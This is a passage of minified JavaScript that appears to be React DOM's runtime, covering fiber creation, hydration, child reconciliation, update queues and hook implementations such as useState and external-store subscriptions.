n===null?(n=Fi(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&1206910976,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n.refCleanup=e.refCleanup,n}function Ri(e,t){e.flags&=1206910978;var n=e.alternate;return n===null?(e.childLanes=0,e.lanes=t,e.child=null,e.subtreeFlags=0,e.memoizedProps=null,e.memoizedState=null,e.updateQueue=null,e.dependencies=null,e.stateNode=null):(e.childLanes=n.childLanes,e.lanes=n.lanes,e.child=n.child,e.subtreeFlags=0,e.deletions=null,e.memoizedProps=n.memoizedProps,e.memoizedState=n.memoizedState,e.updateQueue=n.updateQueue,e.type=n.type,t=n.dependencies,e.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext}),e}function zi(e,t,n,r,a,o){var s=0;if(r=e,typeof r==`function`)Ii(r)&&(s=1);else if(typeof r==`string`)s=qm(e,n,Ae.current)?26:e===`html`||e===`head`||e===`body`?27:5;else a:switch(r){case he:return e=Fi(31,n,t,a),e.elementType=he,e.lanes=o,e;case oe:return Bi(n.children,a,o,t);case se:s=8,a|=24;break;case ce:return e=Fi(12,n,t,a|2),e.elementType=ce,e.lanes=o,e;case de:return e=Fi(13,n,t,a),e.elementType=de,e.lanes=o,e;case fe:return e=Fi(19,n,t,a),e.elementType=fe,e.lanes=o,e;case ge:case ve:return e=a|32,e=Fi(30,n,t,e),e.elementType=ve,e.lanes=o,e.stateNode={autoName:null,paired:null,clones:null,ref:null},e;default:if(typeof r==`object`&&r)switch(r.$$typeof){case T:s=10;break a;case le:s=9;break a;case ue:s=11;break a;case pe:s=14;break a;case me:s=16,r=null;break a}s=29,n=Error(i(130,e===null?`null`:typeof e,``)),r=null}return t=Fi(s,n,t,a),t.elementType=e,t.type=r,t.lanes=o,t}function Bi(e,t,n,r){return e=Fi(7,e,r,t),e.lanes=n,e}function Vi(e,t,n){return e=Fi(6,e,null,t),e.lanes=n,e}function Hi(e){var t=Fi(18,null,null,0);return t.stateNode=e,t}function Ui(e,t,n){return t=Fi(4,e.children===null?[]:e.children,e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}var Wi=new WeakMap;function Gi(e,t){if(typeof e==`object`&&e){var n=Wi.get(e);return n===void 0?(t={value:e,source:t,stack:We(t)},Wi.set(e,t),t):n}return{value:e,source:t,stack:We(t)}}var Ki=[],qi=0,Ji=null,Yi=0,Xi=[],Zi=0,Qi=null,$i=1,ea=``;function ta(e,t){Ki[qi++]=Yi,Ki[qi++]=Ji,Ji=e,Yi=t}function na(e,t,n){Xi[Zi++]=$i,Xi[Zi++]=ea,Xi[Zi++]=Qi,Qi=e;var r=$i;e=ea;var i=32-ct(r)-1;r&=~(1<<i),n+=1;var a=32-ct(t)+i;if(30<a){var o=i-i%5;a=(r&(1<<o)-1).toString(32),r>>=o,i-=o,$i=1<<32-ct(t)+i|n<<i|r,ea=a+e}else $i=1<<a|n<<i|r,ea=e}function ra(e){e.return!==null&&(ta(e,1),na(e,1,0))}function ia(e){for(;e===Ji;)Ji=Ki[--qi],Ki[qi]=null,Yi=Ki[--qi],Ki[qi]=null;for(;e===Qi;)Qi=Xi[--Zi],Xi[Zi]=null,ea=Xi[--Zi],Xi[Zi]=null,$i=Xi[--Zi],Xi[Zi]=null}function aa(e,t){Xi[Zi++]=$i,Xi[Zi++]=ea,Xi[Zi++]=Qi,$i=t.id,ea=t.overflow,Qi=e}var oa=null,L=null,R=!1,sa=null,ca=!1,la=Error(i(519));function ua(e){throw ga(Gi(Error(i(418,1<arguments.length&&arguments[1]!==void 0&&arguments[1]?`text`:`HTML`,``)),e)),la}function da(e){var t=e.stateNode,n=e.type,r=e.memoizedProps;switch(t[k]=e,t[Mt]=r,n){case`dialog`:Q(`cancel`,t),Q(`close`,t);break;case`iframe`:case`object`:case`embed`:Q(`load`,t);break;case`video`:case`audio`:for(n=0;n<zf.length;n++)Q(zf[n],t);break;case`source`:Q(`error`,t);break;case`img`:case`image`:case`link`:Q(`error`,t),Q(`load`,t);break;case`details`:Q(`toggle`,t);break;case`input`:Q(`invalid`,t),cn(t,r.value,r.defaultValue,r.checked,r.defaultChecked,r.type,r.name,!0);break;case`select`:Q(`invalid`,t);break;case`textarea`:Q(`invalid`,t),fn(t,r.value,r.defaultValue,r.children)}n=r.children,typeof n!=`string`&&typeof n!=`number`&&typeof n!=`bigint`||t.textContent===``+n||!0===r.suppressHydrationWarning||ep(t.textContent,n)?(r.popover!=null&&(Q(`beforetoggle`,t),Q(`toggle`,t)),r.onScroll!=null&&Q(`scroll`,t),r.onScrollEnd!=null&&Q(`scrollend`,t),r.onClick!=null&&(t.onclick=xn),t=!0):t=!1,t||ua(e,!0)}function fa(e){for(oa=e.return;oa;)switch(oa.tag){case 5:case 31:case 13:ca=!1;return;case 27:case 3:ca=!0;return;default:oa=oa.return}}function pa(e){if(e!==oa)return!1;if(!R)return fa(e),R=!0,!1;var t=e.tag,n;if((n=t!==3&&t!==27)&&((n=t===5)&&(n=e.type,n=n===`form`||n===`button`||pp(e.type,e.memoizedProps)),n=!n),n&&L&&ua(e),fa(e),t===13){if(e=e.memoizedState,e=e===null?null:e.dehydrated,!e)throw Error(i(317));L=dm(e)}else if(t===31){if(e=e.memoizedState,e=e===null?null:e.dehydrated,!e)throw Error(i(317));L=dm(e)}else t===27?(t=L,Sp(e.type)?(e=um,um=null,L=e):L=t):L=oa?lm(e.stateNode.nextSibling):null;return!0}function ma(){L=oa=null,R=!1}function ha(){var e=sa;return e!==null&&(pd===null?pd=e:pd.push.apply(pd,e),sa=null),e}function ga(e){sa===null?sa=[e]:sa.push(e)}var _a=Oe(null),va=null,ya=null;function ba(e,t,n){O(_a,t._currentValue),t._currentValue=n}function xa(e){e._currentValue=_a.current,ke(_a)}function Sa(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)===t?r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t):(e.childLanes|=t,r!==null&&(r.childLanes|=t)),e===n)break;e=e.return}}function Ca(e,t,n,r){var a=e.child;for(a!==null&&(a.return=e);a!==null;){var o=a.dependencies;if(o!==null){var s=a.child;o=o.firstContext;a:for(;o!==null;){var c=o;o=a;for(var l=0;l<t.length;l++)if(c.context===t[l]){o.lanes|=n,c=o.alternate,c!==null&&(c.lanes|=n),Sa(o.return,n,e),r||(s=null);break a}o=c.next}}else if(a.tag===18){if(s=a.return,s===null)throw Error(i(341));s.lanes|=n,o=s.alternate,o!==null&&(o.lanes|=n),Sa(s,n,e),s=null}else a.tag===13&&a.memoizedState!==null&&a.memoizedState.dehydrated===null?(a.lanes|=n,s=a.alternate,s!==null&&(s.lanes|=n),Sa(a.return,n,e),s=a.child,s=s===null?null:s.sibling):s=a.child;if(s!==null)s.return=a;else for(s=a;s!==null;){if(s===e){s=null;break}if(a=s.sibling,a!==null){a.return=s.return,s=a;break}s=s.return}a=s}}function wa(e,t,n,r){e=null;for(var a=t,o=!1;a!==null;){if(!o){if(a.flags&524288)o=!0;else if(a.flags&262144)break}if(a.tag===10){var s=a.alternate;if(s===null)throw Error(i(387));if(s=s.memoizedProps,s!==null){var c=a.type;Wr(a.pendingProps.value,s.value)||(e===null?e=[c]:e.push(c))}}else if(a===Ne.current){if(s=a.alternate,s===null)throw Error(i(387));s.memoizedState.memoizedState!==a.memoizedState.memoizedState&&(e===null?e=[sh]:e.push(sh))}a=a.return}return e!==null&&Ca(t,e,n,r),t.flags|=262144,e!==null}function Ta(e){for(e=e.firstContext;e!==null;){if(!Wr(e.context._currentValue,e.memoizedValue))return!0;e=e.next}return!1}function Ea(e){va=e,ya=null,e=e.dependencies,e!==null&&(e.firstContext=null)}function Da(e){return ka(va,e)}function Oa(e,t){return va===null&&Ea(e),ka(e,t)}function ka(e,t){var n=t._currentValue;if(t={context:t,memoizedValue:n,next:null},ya===null){if(e===null)throw Error(i(308));ya=t,e.dependencies={lanes:0,firstContext:t},e.flags|=524288}else ya=ya.next=t;return n}var Aa=typeof AbortController<`u`?AbortController:function(){var e=[],t=this.signal={aborted:!1,addEventListener:function(t,n){e.push(n)}};this.abort=function(){t.aborted=!0,e.forEach(function(e){return e()})}},ja=t.unstable_scheduleCallback,Ma=t.unstable_NormalPriority,Na={$$typeof:T,Consumer:null,Provider:null,_currentValue:null,_currentValue2:null,_threadCount:0};function Pa(){return{controller:new Aa,data:new Map,refCount:0}}function Fa(e){e.refCount--,e.refCount===0&&ja(Ma,function(){e.controller.abort()})}function Ia(e,t){if(e.pendingLanes&4194048){var n=e.transitionTypes;for(n===null&&(n=e.transitionTypes=[]),e=0;e<t.length;e++){var r=t[e];n.indexOf(r)===-1&&n.push(r)}}}var La=null;function Ra(e){var t=e.transitionTypes;return e.transitionTypes=null,t}var za=null,Ba=0,Va=0,Ha=null;function Ua(e,t){if(za===null){var n=za=[];Ba=0,Va=Pf(),Ha={status:`pending`,value:void 0,then:function(e){n.push(e)}}}return Ba++,t.then(Wa,Wa),t}function Wa(){if(--Ba===0&&(La=null,za!==null)){Ha!==null&&(Ha.status=`fulfilled`);var e=za;za=null,Va=0,Ha=null;for(var t=0;t<e.length;t++)(0,e[t])()}}function Ga(e,t){var n=[],r={status:`pending`,value:null,reason:null,then:function(e){n.push(e)}};return e.then(function(){r.status=`fulfilled`,r.value=t;for(var e=0;e<n.length;e++)(0,n[e])(t)},function(e){for(r.status=`rejected`,r.reason=e,e=0;e<n.length;e++)(0,n[e])(void 0)}),r}var Ka=E.S;E.S=function(e,t){if(gd=Xe(),typeof t==`object`&&t&&typeof t.then==`function`&&Ua(e,t),La!==null)for(var n=bf;n!==null;)Ia(n,La),n=n.next;if(n=e.types,n!==null){for(var r=bf;r!==null;)Ia(r,n),r=r.next;if(Va!==0){r=La,r===null&&(r=La=[]);for(var i=0;i<n.length;i++){var a=n[i];r.indexOf(a)===-1&&r.push(a)}}}Ka!==null&&Ka(e,t)};var qa=Oe(null);function Ja(){var e=qa.current;return e===null?K.pooledCache:e}function Ya(e,t){t===null?O(qa,qa.current):O(qa,t.pool)}function Xa(){var e=Ja();return e===null?null:{parent:Na._currentValue,pool:e}}var Za=Error(i(460)),Qa=Error(i(474)),$a=Error(i(542)),eo={then:function(){}};function to(e){return e=e.status,e===`fulfilled`||e===`rejected`}function no(e,t,n){switch(n=e[n],n===void 0?e.push(t):n!==t&&(t.then(xn,xn),t=n),t.status){case`fulfilled`:return t.value;case`rejected`:throw e=t.reason,oo(e),e===void 0&&!(`reason`in t)?Error(i(600)):e;default:if(typeof t.status==`string`)t.then(xn,xn);else{if(e=K,e!==null&&100<e.shellSuspendCounter)throw Error(i(482));e=t,e.status=`pending`,e.then(function(e){if(t.status===`pending`){var n=t;n.status=`fulfilled`,n.value=e}},function(e){if(t.status===`pending`){var n=t;n.status=`rejected`,n.reason=e}})}switch(t.status){case`fulfilled`:return t.value;case`rejected`:throw e=t.reason,oo(e),e}throw io=t,Za}}function ro(e){try{var t=e._init;return t(e._payload)}catch(e){throw typeof e==`object`&&e&&typeof e.then==`function`?(io=e,Za):e}}var io=null;function ao(){if(io===null)throw Error(i(459));var e=io;return io=null,e}function oo(e){if(e===Za||e===$a)throw Error(i(483))}var so=null,co=0;function lo(e){var t=co;return co+=1,so===null&&(so=[]),no(so,e,t)}function uo(e,t){t=t.props.ref,e.ref=t===void 0?null:t}function fo(e,t){throw t.$$typeof===re?Error(i(525)):(e=Object.prototype.toString.call(t),Error(i(31,e===`[object Object]`?`object with keys {`+Object.keys(t).join(`, `)+`}`:e)))}function po(e){function t(t,n){if(e){var r=t.deletions;r===null?(t.deletions=[n],t.flags|=16):r.push(n)}}function n(n,r){if(!e)return null;for(;r!==null;)t(n,r),r=r.sibling;return null}function r(e){for(var t=new Map;e!==null;)e.key===null?t.set(e.index,e):t.set(e.key,e),e=e.sibling;return t}function a(e,t){return e=Li(e,t),e.index=0,e.sibling=null,e}function o(t,n,r){return t.index=r,e?(r=t.alternate,r===null?(t.flags|=134217730,n):(r=r.index,r<n?(t.flags|=2,n):r)):(t.flags|=1048576,n)}function s(t){return e&&t.alternate===null&&(t.flags|=134217730),t}function c(e,t,n,r){return t===null||t.tag!==6?(t=Vi(n,e.mode,r),t.return=e,t):(t=a(t,n),t.return=e,t)}function l(e,t,n,r){var i=n.type;return i===oe?(e=d(e,t,n.props.children,r,n.key),uo(e,n),e):t!==null&&(t.elementType===i||typeof i==`object`&&i&&i.$$typeof===me&&ro(i)===t.type)?(t=a(t,n.props),uo(t,n),t.return=e,t):(t=zi(n.type,n.key,n.props,null,e.mode,r),uo(t,n),t.return=e,t)}function u(e,t,n,r){return t===null||t.tag!==4||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?(t=Ui(n,e.mode,r),t.return=e,t):(t=a(t,n.children||[]),t.return=e,t)}function d(e,t,n,r,i){return t===null||t.tag!==7?(t=Bi(n,e.mode,r,i),t.return=e,t):(t=a(t,n),t.return=e,t)}function f(e,t,n){if(typeof t==`string`&&t!==``||typeof t==`number`||typeof t==`bigint`)return t=Vi(``+t,e.mode,n),t.return=e,t;if(typeof t==`object`&&t){switch(t.$$typeof){case ie:return n=zi(t.type,t.key,t.props,null,e.mode,n),uo(n,t),n.return=e,n;case ae:return t=Ui(t,e.mode,n),t.return=e,t;case me:return t=ro(t),f(e,t,n)}if(we(t)||xe(t))return t=Bi(t,e.mode,n,null),t.return=e,t;if(typeof t.then==`function`)return f(e,lo(t),n);if(t.$$typeof===T)return f(e,Oa(e,t),n);fo(e,t)}return null}function p(e,t,n,r){var i=t===null?null:t.key;if(typeof n==`string`&&n!==``||typeof n==`number`||typeof n==`bigint`)return i===null?c(e,t,``+n,r):null;if(typeof n==`object`&&n){switch(n.$$typeof){case ie:return n.key===i?l(e,t,n,r):null;case ae:return n.key===i?u(e,t,n,r):null;case me:return n=ro(n),p(e,t,n,r)}if(we(n)||xe(n))return i===null?d(e,t,n,r,null):null;if(typeof n.then==`function`)return p(e,t,lo(n),r);if(n.$$typeof===T)return p(e,t,Oa(e,n),r);fo(e,n)}return null}function m(e,t,n,r,i){if(typeof r==`string`&&r!==``||typeof r==`number`||typeof r==`bigint`)return e=e.get(n)||null,c(t,e,``+r,i);if(typeof r==`object`&&r){switch(r.$$typeof){case ie:return e=e.get(r.key===null?n:r.key)||null,l(t,e,r,i);case ae:return e=e.get(r.key===null?n:r.key)||null,u(t,e,r,i);case me:return r=ro(r),m(e,t,n,r,i)}if(we(r)||xe(r))return e=e.get(n)||null,d(t,e,r,i,null);if(typeof r.then==`function`)return m(e,t,n,lo(r),i);if(r.$$typeof===T)return m(e,t,n,Oa(t,r),i);fo(t,r)}return null}function h(i,a,s,c){for(var l=null,u=null,d=a,h=a=0,g=null;d!==null&&h<s.length;h++){d.index>h?(g=d,d=null):g=d.sibling;var _=p(i,d,s[h],c);if(_===null){d===null&&(d=g);break}e&&d&&_.alternate===null&&t(i,d),a=o(_,a,h),u===null?l=_:u.sibling=_,u=_,d=g}if(h===s.length)return n(i,d),R&&ta(i,h),l;if(d===null){for(;h<s.length;h++)d=f(i,s[h],c),d!==null&&(a=o(d,a,h),u===null?l=d:u.sibling=d,u=d);return R&&ta(i,h),l}for(d=r(d);h<s.length;h++)g=m(d,i,h,s[h],c),g!==null&&(e&&(_=g.alternate,_!==null&&d.delete(_.key===null?h:_.key)),a=o(g,a,h),u===null?l=g:u.sibling=g,u=g);return e&&d.forEach(function(e){return t(i,e)}),R&&ta(i,h),l}function g(a,s,c,l){if(c==null)throw Error(i(151));for(var u=null,d=null,h=s,g=s=0,_=null,v=c.next();h!==null&&!v.done;g++,v=c.next()){h.index>g?(_=h,h=null):_=h.sibling;var y=p(a,h,v.value,l);if(y===null){h===null&&(h=_);break}e&&h&&y.alternate===null&&t(a,h),s=o(y,s,g),d===null?u=y:d.sibling=y,d=y,h=_}if(v.done)return n(a,h),R&&ta(a,g),u;if(h===null){for(;!v.done;g++,v=c.next())v=f(a,v.value,l),v!==null&&(s=o(v,s,g),d===null?u=v:d.sibling=v,d=v);return R&&ta(a,g),u}for(h=r(h);!v.done;g++,v=c.next())v=m(h,a,g,v.value,l),v!==null&&(e&&(_=v.alternate,_!==null&&h.delete(_.key===null?g:_.key)),s=o(v,s,g),d===null?u=v:d.sibling=v,d=v);return e&&h.forEach(function(e){return t(a,e)}),R&&ta(a,g),u}function _(e,r,o,c){if(typeof o==`object`&&o&&o.type===oe&&o.key===null&&o.props.ref===void 0&&(o=o.props.children),typeof o==`object`&&o){switch(o.$$typeof){case ie:a:{for(var l=o.key;r!==null;){if(r.key===l){if(l=o.type,l===oe){if(r.tag===7){n(e,r.sibling),c=a(r,o.props.children),uo(c,o),c.return=e,e=c;break a}}else if(r.elementType===l||typeof l==`object`&&l&&l.$$typeof===me&&ro(l)===r.type){n(e,r.sibling),c=a(r,o.props),uo(c,o),c.return=e,e=c;break a}n(e,r);break}t(e,r),r=r.sibling}o.type===oe?(c=Bi(o.props.children,e.mode,c,o.key),uo(c,o),c.return=e,e=c):(c=zi(o.type,o.key,o.props,null,e.mode,c),uo(c,o),c.return=e,e=c)}return s(e);case ae:a:{for(l=o.key;r!==null;){if(r.key===l){if(r.tag===4&&r.stateNode.containerInfo===o.containerInfo&&r.stateNode.implementation===o.implementation){n(e,r.sibling),c=a(r,o.children||[]),c.return=e,e=c;break a}n(e,r);break}t(e,r),r=r.sibling}c=Ui(o,e.mode,c),c.return=e,e=c}return s(e);case me:return o=ro(o),_(e,r,o,c)}if(we(o))return h(e,r,o,c);if(xe(o)){if(l=xe(o),typeof l!=`function`)throw Error(i(150));return o=l.call(o),g(e,r,o,c)}if(typeof o.then==`function`)return _(e,r,lo(o),c);if(o.$$typeof===T)return _(e,r,Oa(e,o),c);fo(e,o)}return typeof o==`string`&&o!==``||typeof o==`number`||typeof o==`bigint`?(o=``+o,r!==null&&r.tag===6?(n(e,r.sibling),c=a(r,o),c.return=e,e=c):(n(e,r),c=Vi(o,e.mode,c),c.return=e,e=c),s(e)):n(e,r)}return function(e,t,n,r){try{co=0;var i=_(e,t,n,r);return so=null,i}catch(t){if(t===Za||t===$a)throw t;var a=Fi(29,t,null,e.mode);return a.lanes=r,a.return=e,a}}}var mo=po(!0),ho=po(!1),go=!1;function _o(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function vo(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,callbacks:null})}function yo(e){return{lane:e,tag:0,payload:null,callback:null,next:null}}function bo(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,G&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,t=Mi(e),ji(e,null,n),t}return Oi(e,r,t,n),Mi(e)}function xo(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,n&4194048)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Tt(e,n)}}function So(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={lane:n.lane,tag:n.tag,payload:n.payload,callback:null,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,callbacks:r.callbacks},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}var Co=!1;function wo(){if(Co){var e=Ha;if(e!==null)throw e}}function To(e,t,n,r){Co=!1;var i=e.updateQueue;go=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,s=i.shared.pending;if(s!==null){i.shared.pending=null;var c=s,l=c.next;c.next=null,o===null?a=l:o.next=l,o=c;var u=e.alternate;u!==null&&(u=u.updateQueue,s=u.lastBaseUpdate,s!==o&&(s===null?u.firstBaseUpdate=l:s.next=l,u.lastBaseUpdate=c))}if(a!==null){var d=i.baseState;o=0,u=l=c=null,s=a;do{var f=s.lane&-536870913,p=f!==s.lane;if(p?(J&f)===f:(r&f)===f){f!==0&&f===Va&&(Co=!0),u!==null&&(u=u.next={lane:0,tag:s.tag,payload:s.payload,callback:null,next:null});a:{var m=e,h=s;f=t;var g=n;switch(h.tag){case 1:if(m=h.payload,typeof m==`function`){d=m.call(g,d,f);break a}d=m;break a;case 3:m.flags=m.flags&-65537|128;case 0:if(m=h.payload,f=typeof m==`function`?m.call(g,d,f):m,f==null)break a;d=w({},d,f);break a;case 2:go=!0}}f=s.callback,f!==null&&(e.flags|=64,p&&(e.flags|=8192),p=i.callbacks,p===null?i.callbacks=[f]:p.push(f))}else p={lane:f,tag:s.tag,payload:s.payload,callback:s.callback,next:null},u===null?(l=u=p,c=d):u=u.next=p,o|=f;if(s=s.next,s===null){if(s=i.shared.pending,s===null)break;p=s,s=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(1);u===null&&(c=d),i.baseState=c,i.firstBaseUpdate=l,i.lastBaseUpdate=u,a===null&&(i.shared.lanes=0),sd|=o,e.lanes=o,e.memoizedState=d}}function Eo(e,t){if(typeof e!=`function`)throw Error(i(191,e));e.call(t)}function Do(e,t){var n=e.callbacks;if(n!==null)for(e.callbacks=null,e=0;e<n.length;e++)Eo(n[e],t)}var Oo=Oe(null),ko=Oe(0);function Ao(e,t){e=ad,O(ko,e),O(Oo,t),ad=e|t.baseLanes}function jo(){O(ko,ad),O(Oo,Oo.current)}function Mo(){ad=ko.current,ke(Oo),ke(ko)}var No=Oe(null),Po=null;function Fo(e){var t=e.alternate;O(Bo,Bo.current&1),O(No,e),Po===null&&(t===null||Oo.current!==null||t.memoizedState!==null)&&(Po=e)}function Io(e){O(Bo,Bo.current),O(No,e),Po===null&&(Po=e)}function Lo(e){e.tag===22?(O(Bo,Bo.current),O(No,e),Po===null&&(Po=e)):Ro()}function Ro(){O(Bo,Bo.current),O(No,No.current)}function zo(e){ke(No),Po===e&&(Po=null),ke(Bo)}var Bo=Oe(0);function Vo(e,t){O(No,No.current),O(Bo,t)}function Ho(e){ke(Bo),ke(No),Po===e&&(Po=null)}function Uo(e){for(var t=e;t!==null;){if(t.tag===13){var n=t.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||om(n)||sm(n)))return t}else if(t.tag===19&&t.memoizedProps.revealOrder!==`independent`){if(t.flags&128)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var Wo=0,z=null,B=null,Go=null,Ko=!1,qo=!1,Jo=!1,Yo=0,Xo=0,Zo=null,Qo=0;function V(){throw Error(i(321))}function $o(e,t){if(t===null)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!Wr(e[n],t[n]))return!1;return!0}function es(e,t,n,r,i,a){return Wo=a,z=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,E.H=e===null||e.memoizedState===null?_c:vc,Jo=!1,a=n(r,i),Jo=!1,qo&&(a=ns(t,n,r,i)),ts(e),a}function ts(e){E.H=gc;var t=B!==null&&B.next!==null;if(Wo=0,Go=B=z=null,Ko=!1,Xo=0,Zo=null,t)throw Error(i(300));e===null||Fc||(e=e.dependencies,e!==null&&Ta(e)&&(Fc=!0))}function ns(e,t,n,r){z=e;var a=0;do{if(qo&&(Zo=null),Xo=0,qo=!1,25<=a)throw Error(i(301));if(a+=1,Go=B=null,e.updateQueue!=null){var o=e.updateQueue;o.lastEffect=null,o.events=null,o.stores=null,o.memoCache!=null&&(o.memoCache.index=0)}E.H=yc,o=t(n,r)}while(qo);return o}function rs(){var e=E.H,t=e.useState()[0];return t=typeof t.then==`function`?us(t):t,e=e.useState()[0],(B===null?null:B.memoizedState)!==e&&(z.flags|=1024),t}function is(){var e=Yo!==0;return Yo=0,e}function as(e,t,n){t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~n}function os(e){if(Ko){for(e=e.memoizedState;e!==null;){var t=e.queue;t!==null&&(t.pending=null),e=e.next}Ko=!1}Wo=0,Go=B=z=null,qo=!1,Xo=Yo=0,Zo=null}function ss(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return Go===null?z.memoizedState=Go=e:Go=Go.next=e,Go}function cs(){if(B===null){var e=z.alternate;e=e===null?null:e.memoizedState}else e=B.next;var t=Go===null?z.memoizedState:Go.next;if(t!==null)Go=t,B=e;else{if(e===null)throw z.alternate===null?Error(i(467)):Error(i(310));B=e,e={memoizedState:B.memoizedState,baseState:B.baseState,baseQueue:B.baseQueue,queue:B.queue,next:null},Go===null?z.memoizedState=Go=e:Go=Go.next=e}return Go}function ls(){return{lastEffect:null,events:null,stores:null,memoCache:null}}function us(e){var t=Xo;return Xo+=1,Zo===null&&(Zo=[]),e=no(Zo,e,t),t=z,(Go===null?t.memoizedState:Go.next)===null&&(t=t.alternate,E.H=t===null||t.memoizedState===null?_c:vc),e}function ds(e){if(typeof e==`object`&&e){if(typeof e.then==`function`)return us(e);if(e.$$typeof===ye)return;if(e.$$typeof===T)return Da(e)}throw Error(i(438,String(e)))}function fs(e){var t=null,n=z.updateQueue;if(n!==null&&(t=n.memoCache),t==null){var r=z.alternate;r!==null&&(r=r.updateQueue,r!==null&&(r=r.memoCache,r!=null&&(t={data:r.data.map(function(e){return e.slice()}),index:0})))}if(t??={data:[],index:0},n===null&&(n=ls(),z.updateQueue=n),n.memoCache=t,n=t.data[t.index],n===void 0)for(n=t.data[t.index]=Array(e),r=0;r<e;r++)n[r]=_e;return t.index++,n}function ps(e,t){return typeof t==`function`?t(e):t}function ms(e){return hs(cs(),B,e)}function hs(e,t,n){var r=e.queue;if(r===null)throw Error(i(311));r.lastRenderedReducer=n;var a=e.baseQueue,o=r.pending;if(o!==null){if(a!==null){var s=a.next;a.next=o.next,o.next=s}t.baseQueue=a=o,r.pending=null}if(o=e.baseState,a===null)e.memoizedState=o;else{t=a.next;var c=s=null,l=null,u=t,d=!1;do{var f=u.lane&-536870913;if(f===u.lane?(Wo&f)===f:(J&f)===f){var p=u.revertLane;if(p===0)l!==null&&(l=l.next={lane:0,revertLane:0,gesture:null,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null}),f===Va&&(d=!0);else if((Wo&p)===p){u=u.next,p===Va&&(d=!0);continue}else f={lane:0,revertLane:u.revertLane,gesture:null,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null},l===null?(c=l=f,s=o):l=l.next=f,z.lanes|=p,sd|=p;f=u.action,Jo&&n(o,f),o=u.hasEagerState?u.eagerState:n(o,f)}else p={lane:f,revertLane:u.revertLane,gesture:u.gesture,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null},l===null?(c=l=p,s=o):l=l.next=p,z.lanes|=f,sd|=f;u=u.next}while(u!==null&&u!==t);if(l===null?s=o:l.next=c,!Wr(o,e.memoizedState)&&(Fc=!0,d&&(n=Ha,n!==null)))throw n;e.memoizedState=o,e.baseState=s,e.baseQueue=l,r.lastRenderedState=o}return a===null&&(r.lanes=0),[e.memoizedState,r.dispatch]}function gs(e){var t=cs(),n=t.queue;if(n===null)throw Error(i(311));n.lastRenderedReducer=e;var r=n.dispatch,a=n.pending,o=t.memoizedState;if(a!==null){n.pending=null;var s=a=a.next;do o=e(o,s.action),s=s.next;while(s!==a);Wr(o,t.memoizedState)||(Fc=!0),t.memoizedState=o,t.baseQueue===null&&(t.baseState=o),n.lastRenderedState=o}return[o,r]}function _s(e,t,n){var r=z,a=cs(),o=R;if(o){if(n===void 0)throw Error(i(407));n=n()}else n=t();var s=!Wr((B||a).memoizedState,n);if(s&&(a.memoizedState=n,Fc=!0),a=a.queue,Hs(bs.bind(null,r,a,e),[e]),e=a.getSnapshot!==t||s||Go!==null&&!!(Go.memoizedState.tag&1),Ls(e?9:8,{destroy:void 0},ys.bind(null,r,a,n,t),null),e){if(r.flags|=2048,K===null)throw Error(i(349));o||Wo&127||vs(r,t,n)}return n}function vs(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},t=z.updateQueue,t===null?(t=ls(),z.updateQueue=t,t.stores=[e]):(n=t.stores,n===null?t.stores=[e]:n.push(e))}function ys(e,t,n,r){t.value=n,t.getSnapshot=r,xs(t)&&Ss(e)}function bs(e,t,n){return n(function(){xs(t)&&Ss(e)})}function xs(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!Wr(e,n)}catch{return!0}}function Ss(e){var t=Ai(e,2);t!==null&&Pd(t,e,2)}function Cs(e){var t=ss();if(typeof e==`function`){var n=e;if(e=n(),Jo){st(!0);try{n()}finally{st(!1)}}}return t.memoizedState=t.baseState=e,t.queue={pending:null,lanes:0,dispatch:null,lastRenderedReducer:ps,lastRenderedState:e},t}function ws(e,t,n,r){return e.baseState=n,hs(e,B,typeof r==`function`?r:ps)}function Ts(e,t,n,r,a){if(pc(e))throw Error(i(485));if(e=t.action,e!==null){var 